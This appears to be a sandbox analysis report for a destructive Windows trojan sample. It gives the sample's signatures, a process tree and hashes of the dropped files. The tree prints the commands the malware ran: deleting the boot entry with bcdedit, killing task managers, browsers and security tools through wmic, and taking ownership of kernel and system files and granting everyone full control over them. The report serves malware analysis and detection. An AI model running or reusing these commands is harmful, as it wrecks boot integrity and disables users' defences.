Resubmissions

16/03/2024, 15:20

240316-sq9desff3410

16/03/2024, 15:16

240316-sns9esdf2110

Analysis

  • max time kernel
    185s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16/03/2024, 15:16

General

  • Target
    Trojan/0x07.exe
  • Size 247KB
  • Sample240316-sns9esdf21
  • SHA256 52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Possible privilege escalation attempt 25 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 25 IoCs
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"
    1⤵
    • Loads dropped DLL
    • Writes to the Master Boot Record (MBR)
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\Temp\winconfig.exe
      "C:\Windows\Temp\winconfig.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BB73.tmp\BB74.tmp\BB75.bat C:\Windows\Temp\winconfig.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2228
        • C:\Users\Admin\AppData\Roaming\DetectKey.exe
          "C:\Users\Admin\AppData\Roaming\DetectKey.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:108
        • C:\Windows\system32\bcdedit.exe
          bcdedit /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2464
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='taskmgr.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2720
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='perfmon.exe' delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:984
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic process where name='mmc.exe' delete /nointeractive
          4⤵
            PID:3052
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic process where name='PartAssist.exe' delete /nointeractive
            4⤵
              PID:3004
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic process where name='control.exe' delete /nointeractive
              4⤵
                PID:2068
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic process where name='ProcessHacker.exe' delete /nointeractive
                4⤵
                  PID:1084
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic process where name='Security Task Manager.exe' delete /nointeractive
                  4⤵
                    PID:1936
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic process where name='Security Task Manager Protable.exe' delete /nointeractive
                    4⤵
                      PID:1808
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic process where name='CCleaner.exe' delete /nointeractive
                      4⤵
                        PID:2080
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic process where name='procexp.exe' delete /nointeractive
                        4⤵
                          PID:1856
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic process where name='procexp64.exe' delete /nointeractive
                          4⤵
                            PID:1800
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where name='procexp64a.exe' delete /nointeractive
                            4⤵
                              PID:2132
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name='logonui.exe' delete /nointeractive
                              4⤵
                                PID:1724
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic process where name='regedit.exe' delete /nointeractive
                                4⤵
                                  PID:1560
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name='iexplore.exe' delete /nointeractive
                                  4⤵
                                    PID:1524
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name='chrome.exe' delete /nointeractive
                                    4⤵
                                      PID:932
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name='firefox.exe' delete /nointeractive
                                      4⤵
                                        PID:728
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name='opera.exe' delete /nointeractive
                                        4⤵
                                          PID:2232
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic process where name='edge.exe' delete /nointeractive
                                          4⤵
                                            PID:588
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic process where name='msedge.exe' delete /nointeractive
                                            4⤵
                                              PID:2880
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic process where name='brave.exe' delete /nointeractive
                                              4⤵
                                                PID:2916
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic process where name='wmplayer.exe' delete /nointeractive
                                                4⤵
                                                  PID:2088
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic process where name='notepad.exe' delete /nointeractive
                                                  4⤵
                                                    PID:1756
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic process where name='notepad++.exe' delete /nointeractive
                                                    4⤵
                                                      PID:1676
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                      4⤵
                                                        PID:3040
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                        4⤵
                                                          PID:868
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                          4⤵
                                                            PID:1636
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                            4⤵
                                                              PID:2556
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskmgr.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2408
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\hal.dll"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2652
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\winload.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2160
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\ntoskrnl.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2632
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\perfmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:1380
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\resmon.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2340
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2540
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\taskkill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2568
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tasklist.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2456
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\tskill.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2396
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\system32\logonui.exe"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2980
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Program Files\Process Hacker 2"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2028
                                                            • C:\Windows\system32\takeown.exe
                                                              takeown /f "C:\Windows\System32\drivers"
                                                              4⤵
                                                              • Possible privilege escalation attempt
                                                              • Modifies file permissions
                                                              PID:2432
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic process where name='taskmgr.exe' delete /nointeractive
                                                              4⤵
                                                                PID:2436
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic process where name='perfmon.exe' delete /nointeractive
                                                                4⤵
                                                                  PID:3056
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic process where name='logonui.exe' delete /nointeractive
                                                                  4⤵
                                                                    PID:1600
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                    4⤵
                                                                      PID:1976
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2336
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2348
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\winload.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2288
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2020
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2036
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2512
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2320
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2832
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:824
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2060
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2992
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F
                                                                      4⤵
                                                                      • Possible privilege escalation attempt
                                                                      • Modifies file permissions
                                                                      PID:2700
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic process where name='taskmgr.exe' delete /nointeractive
                                                                      4⤵
                                                                        PID:2724
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic process where name='perfmon.exe' delete /nointeractive
                                                                        4⤵
                                                                          PID:2760
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic process where name='logonui.exe' delete /nointeractive
                                                                          4⤵
                                                                            PID:820
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic process where name='ProcessHacker.exe' delete /nointeractive
                                                                            4⤵
                                                                              PID:1044
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                              4⤵
                                                                                PID:1832
                                                                              • C:\Windows\system32\cacls.exe
                                                                                cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F
                                                                                4⤵
                                                                                  PID:2388
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                  4⤵
                                                                                    PID:1068
                                                                                  • C:\Windows\system32\cacls.exe
                                                                                    cacls "C:\Windows\system32\hal.dll" /grant "everyone":F
                                                                                    4⤵
                                                                                      PID:464
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                      4⤵
                                                                                        PID:1912
                                                                                      • C:\Windows\system32\cacls.exe
                                                                                        cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F
                                                                                        4⤵
                                                                                          PID:748
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                          4⤵
                                                                                            PID:676
                                                                                          • C:\Windows\system32\cacls.exe
                                                                                            cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F
                                                                                            4⤵
                                                                                              PID:1064
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                              4⤵
                                                                                                PID:1656
                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F
                                                                                                4⤵
                                                                                                  PID:984
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                  4⤵
                                                                                                    PID:2124
                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                    cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F
                                                                                                    4⤵
                                                                                                      PID:1760
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                      4⤵
                                                                                                        PID:3052
                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                        cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F
                                                                                                        4⤵
                                                                                                          PID:1316
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                          4⤵
                                                                                                            PID:1372
                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                            cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F
                                                                                                            4⤵
                                                                                                              PID:1332
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                              4⤵
                                                                                                                PID:1496
                                                                                                              • C:\Windows\system32\cacls.exe
                                                                                                                cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F
                                                                                                                4⤵
                                                                                                                  PID:2280
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                  4⤵
                                                                                                                    PID:1320
                                                                                                                  • C:\Windows\system32\cacls.exe
                                                                                                                    cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F
                                                                                                                    4⤵
                                                                                                                      PID:1784
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo y"
                                                                                                                      4⤵
                                                                                                                        PID:908
                                                                                                                      • C:\Windows\system32\cacls.exe
                                                                                                                        cacls "C:\Windows\System32\drivers" /grant "everyone":F
                                                                                                                        4⤵
                                                                                                                          PID:1488

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        BB75.bat

                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\BB73.tmp\BB74.tmp\BB75.bat
                                                                                                                        • Size 5KB
                                                                                                                        • SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        DetectKey.exe

                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\DetectKey.exe
                                                                                                                        • Size 87KB
                                                                                                                        • SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                                        winconfig.exe

                                                                                                                        • Path \Windows\Temp\winconfig.exe
                                                                                                                        • Size 139KB
                                                                                                                        • SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP